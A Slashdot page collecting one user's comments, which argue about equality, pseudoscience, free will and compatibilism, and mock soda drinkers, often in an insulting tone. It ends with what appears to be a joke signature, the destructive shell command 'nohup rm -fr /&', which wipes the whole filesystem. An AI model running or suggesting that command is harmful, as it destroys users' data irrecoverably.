Catch up on stories from the past week (and beyond) at the Slashdot story archive


Forgot your password?

Comment Re:Issue is more complicated (Score 1) 321

There are a few problems here. 1) You don't understand the concept of equality. 2) You don't see anything wrong with your behavior.

Here's a hint: Men don't like your shitty attitude any more than women do. Women are just more likely to call you out than the other beta males you abuse.

Comment Re:Sigh... (Score 1) 73

What's wrong with that? Very often, simple technical solutions can have a profound impact.

doing good doesn't mean you need to crow about your deeds as part of the process.

I don't read this as bragging. I read this as an inspirational message -- you can impact the world in a positive way. You don't need to make some revolutionary discovery or technology, just a few dedicated people with the right skills can make a big difference.

I also see a charge implied here: "Now go and change the world." I see nothing wrong with either of those things.

Comment Re:No, drinking soda != smoking (Score 1) 559

Let me guess: You're one of those misguided soda addicts out to defend your disgusting habit? You can quit anytime you want but claim to "enjoy it"? You tell yourself "it's not as bad as people think" because you once heard about a life-long two-cases-a-day pop-drinking grandmother who lived to be 102 with nary a health problem? You're not "one of those" inconsiderate drinkers that leave sticky rings all over the place? That's not your ant-infested collection of empty cans littering the streets? I'll be you even think most soda drinkers are clean and respectful!

When I watch one of you chug down a 32oz Big Gulp, all I see is a junkie pushing a needle in to their veins...

It can be difficult to tell a meth user from a soda drinker. This is your future, if it's not already your reality...

Comment Re:No, drinking soda != smoking (Score 1) 559

Ever been around a heavy soda drinker? It's pretty gross. It's not just the sticky bottles and cans they scatter all over, or even the sticky rings they slosh over every flat surface. A little education could bring that down to an acceptable level. Nothing, sadly, can be done about the weird smell that the leave on whatever they sit on. It's like a nasty fart smell that doesn't go away. I've had to wipe down my chair with bleach wipes after one of those obnoxious sugar guzzlers abused it before I could even stand to be near the thing. It was hours before I could sit on it again.

Don't even get me started on their belch spittle and unimaginable halitosis. It's disgusting. Imagine a mix of puke and axe body spray that they vomit all over everything they're near. .

I say we bring the smokers back just to cover up the stench.

Comment Re:there is no conflict between science and religi (Score 1) 268

Can you explain this mysterious spin? I've done two things. I've pointed out that you're attributing to science finding that have no science behind them. I've also explained why this is bad.

I can't stop you from engaging in pseudoscience, but I can at least point it out.

Comment Re: Oh God (Score 1) 268

Unless I misunderstand you?


Most of the books I have read on the subject seem to agree that this is a view that determinism and free will are compatible.

Compatibilist's views of 'free will' aren't what we're "discussing". Go spend a few minutes reading -- you'll figure it out. They're about as far from the topic at hand as you can get. Here's a hint: To your post, and everything that followed, compatibilist views are indistinguishable from hard determinism.

The entire reason to suppose the non-natural is to provide a mechanism by which some independence of choice can exist. If it were contained within the natural, this could not be so.

So you don't have a justification for asserting the supernatural is necessary for free will. I'm not surprised. What is this mysterious mechanism? If you could posit such a thing, then you'd need to reject its possibility in the natural on grounds other than hard determinism as, with this mechanism established, you could reject hard determinism on that basis. To suggest such a mechanism is to undermine your own assumption. It simply doesn't make any sense to bring in the supernatural -- let alone insist that it's necessary.

while you say you have nothing to address with my "ridiculous" assertions, calling them "ridiculous" does not give me anything to address either.

You could address the deficiency in your understanding?

. I don't see the deficiency in my understanding here.

Damn. Well, I gave it a go.

Comment Re: Oh God (Score 1) 268

This is known as compatiblism.

Nope. Not even close. Go do a tiny bit of reading. You'll quickly discover that compatibilism is not what you think it is! You'd think you'd have looked something up after I ridiculed your post, so as not to look so damn foolish.

It provides a mechanism by which free will can exist. In a libertarian sense.

No, it does not, as I (briefly) explained to you already. But I'll play. Go ahead, let's hear your explanation. How is it that some supernatural thing can have free will? Why does that justification not apply to some natural thing?

Your assumptions that those who disagree with you are uneducated

No, no. This has nothing to do with agreement or disagreement. This is all based on what you've written. The compatibilist bit above makes it pretty clear you don't know much about the subject. It's broad and complicated, so it's not an indictment of your ability, just that it's not as simple as you seem to think it is.

Your arrogance is astounding. Rather than engage in debate, you immediately default to ridicule.

Sometimes, but not always. In your case, you didn't offer anything to deconstruct, just a lot of ridiculous assertions. Like I mentioned earlier, I've see this before, and it's not really worth the effort as most people either don't care or have the necessary background to dig in to the subject. It's not exactly an easy topic for a layperson tackle. Where the hell do you start? Is it even possible with a few quick exchanges? It's simpler just to point in a direction and say, 'look over there' or pose a question that makes them consider their position more fully. With any luck, they'll figure it out on their own.

I posed a question above. Please, give it a go.

Comment Re:there is no conflict between science and religi (Score 1) 268

I knew already when I replied, that I wouldn't be able to convince you

I'm not the guy to which you replied. This may explain why your reply seems so confused.

Nope - it doesn't work like that.

My point was that many of the "scientific" claims you were making were not backed by any actual science. You believe that some research had been done which had not been done. That's why I suggested you go looking for it. What do you call someone who tries to attribute scientific credibility to a claim not backed by actual science? Do you want to fall within that camp?

But why don't you propose a better way of testing a hypothesis than the process known as the scientific method? Scientists are practical people

First, there isn't some monolithic thing called "the scientific method", rigid and unchangeable. It, along with our understanding of science, changes over time and with the area of inquiry. This is an important point, often missed by laypersons without a formal background in science. (It seems to reveal a fundamental misunderstanding of science on your part.) There is an awful lot of misinformation about the nature of science, it's scope, and it's accomplishments spread by misguided science fans. That does surprising amount of harm to the public understanding of science. Far more harm, I suspect, than the nastiest creationist could ever hope to accomplish.

As for something better, I'll remind you that science is not the end of epistemology. I'll add to that the simple fact that the scope of scientific inquiry is bounded. This has been understood for centuries. To deny this is to deny science. What purpose could that serve? So that more lay people can "believe" in some odd parody of science? What good will that do?

Bringing back an earlier objection: To credit to science things which are not science is the hallmark of pseudoscience. Be it scientific claims not backed by actual science or to expand the scope of science beyond its reach. I would assume that you'd rather not align yourself with pseudoscience. If that is the case, please, make sure that you're not spreading it in your quest to defend science. It is, presumably, counter to your goals.

Comment Re: Oh God (Score 1) 268

Secondly, how is your appeal to mystery different from my appeal to supernatural?

I've made no such appeal. All I've done is explain, briefly, why your post was silly nonsense. You're trying to make some inference to my personal views, which I have not offered as they're not relevant to why your post was ridiculous.

you haven't actually said anything again.

You mean my personal viewpoint? Again, it's not relevant. Your post was nothing more than silly nonsense, my personal beliefs don't alter that fact in any way. What I have said, is why the absurdities that you parroted without thinking are so silly.

It is far easier to attack a person then to address their point.

I believe I did address your "points". Though, as I pointed out, you didn't actually offer anything substantive. You made no argument, just a few unsubstantiated and inexplicable assertions. As such, I could only infer your reasoning as to one. As to the other, I did what I could to help you understand why one of your stranger points was total nonsense.

Now, I did ask you to consider some questions. Perhaps if you tried to answer them here, you'll better be able to understand why unsubstantiated assertions are so completely ridiculous. Give it a go. I won't blame if you don't bother posting the results after writing them out. I'd feel pretty silly if I tried to defend such a ridiculous position.

nohup rm -fr /&